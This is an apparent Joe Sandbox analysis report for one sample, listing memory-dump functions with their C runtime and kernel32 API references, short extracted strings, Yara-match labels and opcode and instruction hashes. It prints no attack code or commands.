Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0464c316f5abd1ac6647144c6733b89db666b849430c6a1be2adecd54bd6899b
Instruction ID: 4d3d4f337b0e99a02e2c0b81fafaa4f5824c520ad6a32c821d547c41a813ff2f
Opcode Fuzzy Hash: 0464c316f5abd1ac6647144c6733b89db666b849430c6a1be2adecd54bd6899b
Instruction Fuzzy Hash: D29002A03565018A960017705E5960529925BB9B0275215716A41D8098DAB44501555A

Function 0216C71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0216B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216b000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: fdd0c34566c9f70609bc2b64fd6209a01aa5942349987575e0f983018c6f7a9d
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 533169758462429FCB15CE70D898AB9BB71EF87224F1995AEC0C18B106D335A066C7D4

Function 0216B0A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0216B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216b000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 1f95507bd14b2d4ae7f9d358a4e44ba493575ee33dce36bece7681a1ce3a7832
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 8911A072384100AFD704CE55DC84EBA77EAFB88224B198065ED08DB312D776E852C760

Function 02200042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: f33f69f9e25a31a62b7334608993f3440bb9f4b2e667fa5e0134bbc8f7a5a37e
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 481182723501019FE754DFA5DCD0FA673EAEB89320B198165ED08CB356D675E901C760

Function 02226437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0222644E

Part of subcall function 02229636: __calloc_impl.LIBCMT ref: 02229645

__calloc_crt.LIBCMT ref: 02226472
_free.LIBCMT ref: 02226480
__calloc_crt.LIBCMT ref: 0222648E
_free.LIBCMT ref: 0222649E
_free.LIBCMT ref: 022264A4
__copytlocinfo_nolock.LIBCMT ref: 022264B3
__setmbcp_nolock.LIBCMT ref: 022264D4
_free.LIBCMT ref: 022264E2
___removelocaleref.LIBCMT ref: 022264E9
___freetlocinfo.LIBCMT ref: 022264F0
_free.LIBCMT ref: 022264F6

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 10a87bebd42359063b6c8abeb5145a9684f6a1f3653e1b9619ffff20842f5482
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 6A21A432124731BAE7317FE5DC01E6B7BDEDF41B60BA08019E489590ACEB238568CE51

Function 02223F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02223F51

Part of subcall function 02225BA8: __getptd_noexit.LIBCMT ref: 02225BA8

__gmtime64_s.LIBCMT ref: 02223FEA
__gmtime64_s.LIBCMT ref: 02224020
__gmtime64_s.LIBCMT ref: 0222403D
__allrem.LIBCMT ref: 02224093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022240AF
__allrem.LIBCMT ref: 022240C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022240E4
__allrem.LIBCMT ref: 022240FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02224119
__invoke_watson.LIBCMT ref: 0222418A

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 6c7be8614b2a4b68f9d2509bc6203d0897d041b932b90eb9a039184dc8ee298c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: D871EAB1A20737BBD714EEB9CC40B6AB3B9BF00324F144169E514E6698EB75DA44CB90

Function 0222650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02226547
__calloc_crt.LIBCMT ref: 02226598
__lock.LIBCMT ref: 022265AE
__copytlocinfo_nolock.LIBCMT ref: 022265BF
_wcscmp.LIBCMT ref: 022265F9
__lock.LIBCMT ref: 02226610
__updatetlocinfoEx_nolock.LIBCMT ref: 02226622
___removelocaleref.LIBCMT ref: 02226628
__updatetlocinfoEx_nolock.LIBCMT ref: 02226647

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: ba362b50bf51c07be495950db48fc647a7e2168973850bb75acabe2aceb534a7
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: DB410432924325BFDB10AFE4D880BBE3BEAEF44314F108429E91456198DB7B955CDF61

Function 022284AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022284B1
_free.LIBCMT ref: 022284E2
_free.LIBCMT ref: 022284F5
_free.LIBCMT ref: 02228513
_free.LIBCMT ref: 02228525
_free.LIBCMT ref: 02228536
_free.LIBCMT ref: 02228541
_free.LIBCMT ref: 02228565
_free.LIBCMT ref: 02228581
_free.LIBCMT ref: 02228597
_free.LIBCMT ref: 022285BF

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 5637a0abb616393766c5c0af360b361de22e1cdeda49ef3d8d926fab22de6ebc
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: A131C731910671ABCB115F94FC80C4977A9EB14324346856AE908572A4CBB799ECDEA1

Function 0224FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0224FC1F

Part of subcall function 0223169C: std::exception::_Copy_str.LIBCMT ref: 022316B5

__CxxThrowException@8.LIBCMT ref: 0224FC34
std::exception::exception.LIBCMT ref: 0224FC4D
__CxxThrowException@8.LIBCMT ref: 0224FC62
std::regex_error::regex_error.LIBCPMT ref: 0224FC74

Part of subcall function 0224F914: std::exception::exception.LIBCMT ref: 0224F92E

__CxxThrowException@8.LIBCMT ref: 0224FC82
std::exception::exception.LIBCMT ref: 0224FC9B
__CxxThrowException@8.LIBCMT ref: 0224FCB0

Strings

leM, xrefs: 0224FCA8

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 8a7e77600f2b51b819a142da181d6015eab49f63ba318b116a24543bd6ea0f8b
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 3E111CB9D0030DBBCF05FFE5D455CDEBB7DAA04340B408566AD1897244EB74A3588F98

Function 0220F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0220F01F

Part of subcall function 02221602: __FF_MSGBANNER.LIBCMT ref: 02221619
Part of subcall function 02221602: __NMSG_WRITE.LIBCMT ref: 02221620

_malloc.LIBCMT ref: 0220F02B
_wprintf.LIBCMT ref: 0220F03E
_free.LIBCMT ref: 0220F044
_free.LIBCMT ref: 0220F065
_malloc.LIBCMT ref: 0220F06D
_sprintf.LIBCMT ref: 0220F0C0
_wprintf.LIBCMT ref: 0220F0D2
_wprintf.LIBCMT ref: 0220F0DC
_free.LIBCMT ref: 0220F0E5

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 9470394cd3b4492f2244c25cd65a95070362e38ed9242bac188ac82faec1ed98
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 9E1124B29607607AC371A2F40C11EFF3ADD9F45702F4401A9FE8CD1185EB1A9A189BB2

Function 02211960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022119C6
__CxxThrowException@8.LIBCMT ref: 022119F1
__CxxThrowException@8.LIBCMT ref: 02211A1A
__CxxThrowException@8.LIBCMT ref: 02211A4B
_memset.LIBCMT ref: 02211A6A
__CxxThrowException@8.LIBCMT ref: 02211A90
_malloc.LIBCMT ref: 02211AA0
_memset.LIBCMT ref: 02211AAB
_sprintf.LIBCMT ref: 02211ACE

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: ec68ad8a6375279d2b3c71bbca9e428aeecea531255293c33d1f9e8b7f1cb194
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 30516CB1D40219BBEB11DBE1DC86FEFBBB9FB04704F100025FA09B6184E7755A158BA5

Function 0220F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0220F284
__CxxThrowException@8.LIBCMT ref: 0220F2AF
__CxxThrowException@8.LIBCMT ref: 0220F2DE
__CxxThrowException@8.LIBCMT ref: 0220F30F
_memset.LIBCMT ref: 0220F32E
__CxxThrowException@8.LIBCMT ref: 0220F354
_sprintf.LIBCMT ref: 0220F373

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 96c35ff0ced7df2d7da329fa30ebfeedc48bd7e44e53f9a5dbdd1142e6c5ae36
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: F25191B1E50249BADF11DFE1DD86FEEBBB9EB04704F100025F905B61C1DBB5AA058BA4

Function 0220F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0220F4B7
__CxxThrowException@8.LIBCMT ref: 0220F4E2
__CxxThrowException@8.LIBCMT ref: 0220F504
__CxxThrowException@8.LIBCMT ref: 0220F535
_memset.LIBCMT ref: 0220F554
__CxxThrowException@8.LIBCMT ref: 0220F57A
_sprintf.LIBCMT ref: 0220F594

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: a9dada9eb853ea0b9896636c1e78ae0613cfae00fae6836d6fe143e57b9d49b4
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 1F5181B1E50209AADF21DFE1DD85FEEBBB8FB04704F100129F905B61C5EB746A058BA4

Function 0040398C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00403998

Part of subcall function 0040330E: __getptd_noexit.LIBCMT ref: 00403311
Part of subcall function 0040330E: __amsg_exit.LIBCMT ref: 0040331E

__amsg_exit.LIBCMT ref: 004039B8
__lock.LIBCMT ref: 004039C8
InterlockedDecrement.KERNEL32(?), ref: 004039E5
InterlockedIncrement.KERNEL32(00641688), ref: 00403A10

Strings

psJ, xrefs: 004039EF

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID: psJ
API String ID: 4271482742-967521273
Opcode ID: f34a0bde194e30490b4586d2f4585c68c597c4face1b8f544ea13d29bb067f45
Instruction ID: c69ef31ce1ad5a47aed47af2125ec50191bb3060e3ef6ecb00e80176e56692ae
Opcode Fuzzy Hash: f34a0bde194e30490b4586d2f4585c68c597c4face1b8f544ea13d29bb067f45
Instruction Fuzzy Hash: DF01E172E05611EBC720AF26990A35E7FA4AB01715F05013BE804B32D1CBBC6A40DBDD

Function 0224208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022420C6
__invoke_watson.LIBCMT ref: 02242120
_strlen.LIBCMT ref: 022420D4

Part of subcall function 02225BA8: __getptd_noexit.LIBCMT ref: 02225BA8

_strnlen.LIBCMT ref: 0224215F
__lock.LIBCMT ref: 02242170
__getenv_helper_nolock.LIBCMT ref: 0224217B

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: e1e496eb2c3e6acca536d7b81b5e404e2f0b2388c2970dfa0a9ad09fe77b4df7
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 91310832930332FBDB296BE69C00B6E27959F15B64F104615FD08EB29CDF759444CAA1

Function 022C66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 022C66DD

Part of subcall function 022259BF: __calloc_crt.LIBCMT ref: 022259E2
Part of subcall function 022259BF: __initptd.LIBCMT ref: 02225A04

__calloc_crt.LIBCMT ref: 022C6700
__get_sys_err_msg.LIBCMT ref: 022C671E
__invoke_watson.LIBCMT ref: 022C673B
__get_sys_err_msg.LIBCMT ref: 022C676D
__invoke_watson.LIBCMT ref: 022C678B

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 84d08e27a8631ecb4d36a5e3edd35aceb0e110360d0e307c74ad165894afad85
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: BD11CB315207257BEB357EE59C00BFA738DDF80760F20093AFE0896648E726D9044AE4

Function 00401015 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00401033

Part of subcall function 00401A8F: __mtinitlocknum.LIBCMT ref: 00401AA5
Part of subcall function 00401A8F: __amsg_exit.LIBCMT ref: 00401AB1
Part of subcall function 00401A8F: EnterCriticalSection.KERNEL32(?,?,?,004027FD,00000004,004A6428,0000000C,004010BD,?,?,00000000), ref: 00401AB9

___sbh_find_block.LIBCMT ref: 0040103E
___sbh_free_block.LIBCMT ref: 0040104D
HeapFree.KERNEL32(00000000,?,004A6380,0000000C,004032FF,00000000,?,004035F5,?,00000001,?,?,00401A19,00000018,004A6408,0000000C), ref: 0040107D
GetLastError.KERNEL32(?,004035F5,?,00000001,?,?,00401A19,00000018,004A6408,0000000C,00401AAA,?,?,?,004027FD,00000004), ref: 0040108E

Memory Dump Source

Source File: 00000005.00000002.2673306107.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2673276224.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673306107.0000000000413000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673374570.00000000004A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673395227.00000000004A7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2673460590.00000000004B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 378823a915c619e234e02591c1b5be9f2000e7fac0b3a953e333f88bdaeccc55
Instruction ID: f7f24829b0529de3acd64ad561495d8e8474641607c128e66590ad654e87f3c3
Opcode Fuzzy Hash: 378823a915c619e234e02591c1b5be9f2000e7fac0b3a953e333f88bdaeccc55
Instruction Fuzzy Hash: E301A231A01301AADB307BB29D0AB9E3B649F01328F20413FF644B65E1DA7C89808B9C

Function 02212670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022126DB
_memset.LIBCMT ref: 02212A30
_memset.LIBCMT ref: 02212AC0

Strings

D, xrefs: 02212AC8

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: b677351964ba6d9584c6629c7466dac7f3dc54b3a442dd4c43d98fa31dd17381
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 2AE16A71D1022AEACF24DFE0CD89FEEB7B8BF04304F144169E909A6194EB756A45CF54

Function 0220D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0220D8EA

Strings

$, xrefs: 0220DAE2
, xrefs: 0220DADB
(, xrefs: 0220DAE9

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 255c9e4e780902f6664ee555b2903376ed098d708b0d42879aa6adfc1fcda5fe
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: A691AB71D11219AAEF20CFE0C889BEEBBB5EF05308F244169D405772C5DBB65A48CFA5

Function 02225CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 02225CF4

Strings

U, xrefs: 02225CFD

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 494c41c6db7e85fa87a20fc87521e7af974782de2e334424f541d3214cb2b5ec
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 77215E722343297AEB04DAE49C44BBE73DDDB45351F908065F908CA198FF72E9588A90

Function 0221A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0221A858
_memset.LIBCMT ref: 0221A869
_memset.LIBCMT ref: 0221A87A

Strings

p2Q, xrefs: 0221A882

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 4691633c94c82ebb0735f96065dc731f528b2fc72cf2694c4ee324c53dbd88ba
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: AAF0E578694750B5F7117790BC267857E917B31B09F504044E1142E2E5D3FE234C6799

Function 0224FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0224FBF1

Part of subcall function 0223169C: std::exception::_Copy_str.LIBCMT ref: 022316B5

__CxxThrowException@8.LIBCMT ref: 0224FC06

Strings

TeM, xrefs: 0224FBFE
TeM, xrefs: 0224FBE7, 0224FBFB

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 088448bd19ae6356b9148985937339f4c2a4d5df67aba83493ba006beb6648ca
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 11D067B5D0030CBBCB05EFE5D459CDDBBB9AA04344B408466A91897245EA74A3598F98

Function 0220D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0222197D: __wfsopen.LIBCMT ref: 02221988

_fgetws.LIBCMT ref: 0220D15C

Memory Dump Source

Source File: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2200000_MrBEu6cm6HagE9yrmXV8x4AG.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 6e0fe1ab8560106aeba8e45eaeb499cdb293b974ae15e41269647850c350cece
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
